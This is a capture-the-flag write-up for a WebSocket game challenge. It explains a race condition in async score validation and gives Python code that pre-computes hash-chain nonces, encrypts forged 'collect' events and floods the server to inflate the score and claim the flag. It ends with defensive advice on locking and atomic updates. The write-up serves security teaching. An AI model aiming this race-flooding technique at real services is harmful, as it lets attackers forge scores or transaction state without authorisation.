Candy Crush - WebSocket Race Condition
Challenge Type: Web Security
Difficulty: Medium
Tags: WebSocket, Race Condition, Cryptography, Socket.IO
Challenge Description
Candy Crush is a WebSocket-based candy collection game that implements encrypted communication and nonce-based replay protection. Players must collect 10 candies within a time limit to unlock the flag. However, the challenge hides a critical race condition vulnerability in the server's score validation logic.
Challenge Overview
The challenge presents multiple layers of complexity: - WebSocket Communication: Real-time bidirectional communication via Socket.IO - AES-256-CBC Encryption: All messages encrypted with session-specific keys - Nonce-based Replay Protection: SHA-256 hash chain prevents message replay - Race Condition Vulnerability: Timing window in async score validation
Game Mechanics
Normal Gameplay
- Client connects and receives a handshake with encryption keys (AES key + IV)
- Server drops candies at random intervals
- Client collects candies by sending encrypted
collectevents with: candyId: The ID of the candy to collectnonce: SHA-256 hash chain value for replay protection- Server validates the candy exists and nonce is correct
- Score increments on successful collection
- Game ends after time expires
- Players with score ≥ 10 can purchase the flag
Technical Flow
Client Server
| |
|---- connect() --------------->|
|<--- handshake(key, iv) -------|
| |
|<--- candy_dropped ------------|
|---- collect(encrypted) ------>|
| {candyId, nonce} |
| |
|<--- candy_collected ----------|
| {score} |
| |
|---- buy_flag ---------------->|
|<--- flag_response ------------|
The Vulnerability
The core vulnerability lies in the asynchronous score validation logic:
// Simplified vulnerable code pattern
async function handleCollect(encryptedData) {
const data = decrypt(encryptedData);
// Step 1: Validate candy exists (async check)
if (!activeCandies.includes(data.candyId)) {
return error("Invalid candy");
}
// Step 2: Validate nonce (async check)
if (!isValidNonce(data.nonce)) {
return error("Invalid nonce");
}
// BUG: Time window between validation and increment!
// Multiple requests can pass validation before score increments
// Step 3: Increment score
score += 1;
// Step 4: Remove candy from active list
activeCandies.remove(data.candyId);
}
The Race Condition:
When multiple collect requests are sent simultaneously with pre-calculated nonces, they all enter the validation phase before any of them completes. This creates a timing window where:
1. All requests pass the candy existence check
2. All requests pass the nonce validation (using pre-generated nonce chain)
3. Score increments multiple times before the first request completes
4. Final score > actual candies collected
Solution Walkthrough
Phase 1: Understanding the Protocol
First, we need to understand the encryption and nonce mechanism:
import socketio
import hashlib
from Crypto.Cipher import AES
# Nonce generation (SHA-256 hash chain)
def generate_nonces(key_hex, count):
nonces = []
nonce = None
for _ in range(count):
if nonce:
data = nonce + key_hex
else:
data = key_hex
nonce = hashlib.sha256(data.encode()).hexdigest()
nonces.append(nonce)
return nonces
# AES-256-CBC encryption
def encrypt_data(data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
padded = pad(data.encode(), AES.block_size)
encrypted = cipher.encrypt(padded)
return base64.b64encode(encrypted.hex().encode()).decode()
Phase 2: Exploiting the Race Condition
The exploit strategy:
1. Connect and receive handshake with encryption keys
2. Immediately pre-generate 15 nonces using the session key
3. Send all 15 collect requests as fast as possible
4. Race condition allows multiple requests to succeed
5. Score reaches ≥ 10 despite no real candies collected
6. Purchase flag with inflated score
@sio.on('handshake')
def on_handshake(data):
global session_key, session_iv
session_key = bytes(data['key'])
session_iv = bytes(data['iv'])
# Pre-generate nonces for the race
key_hex = session_key.hex()
nonces = generate_nonces(key_hex, 15)
# Fire all requests simultaneously
for i, nonce in enumerate(nonces):
collect_data = {
'candyId': f'fake_{i}',
'nonce': nonce
}
encrypted = encrypt_data(json.dumps(collect_data), session_key, session_iv)
sio.emit('collect', encrypted)
Phase 3: Claiming the Flag
Once the race condition triggers and score ≥ 10:
@sio.on('game_ended')
def on_game_ended(data=None):
if score >= 10:
encrypted = encrypt_data(json.dumps({}), session_key, session_iv)
sio.emit('buy_flag', encrypted)
@sio.on('flag_response')
def on_flag_response(encrypted_data):
data = json.loads(decrypt_data(encrypted_data, session_key, session_iv))
if data.get('success'):
print(f"FLAG: {data['flag']}")
Technical Details
Tools and Libraries
- Python 3.x: Main scripting language
- python-socketio: Socket.IO client for WebSocket communication
- pycryptodome: AES encryption/decryption
- hashlib: SHA-256 nonce generation
Exploit Execution
python candy_exploit.py
Expected Output
[+] Connected to server
[*] Sending start...
[+] Got key: 1a2b3c4d5e6f7g8h...
[*] Sending fake candy collections...
[*] Sent 15 fake collects
[+] COLLECTED! Score: 1/10
[+] COLLECTED! Score: 2/10
[+] COLLECTED! Score: 10/10
[*] Game over! Score: 10
[+] Buying flag...
==================================================
FLAG: cyhub{r4c3_c0nd1t10n_1n_w3bs0ck3t_v4l1d4t10n}
==================================================
Key Takeaways
- Race Conditions in Async Code: Always use proper locking mechanisms when handling concurrent requests
- Atomic Operations: Score increments should be atomic or use database transactions
- Nonce-based Protection: While nonce chains prevent replay, they don't prevent race conditions
- Defense Strategy:
- Use mutex locks or semaphores for critical sections
- Implement proper queue-based processing
- Add rate limiting per connection
- Use atomic increment operations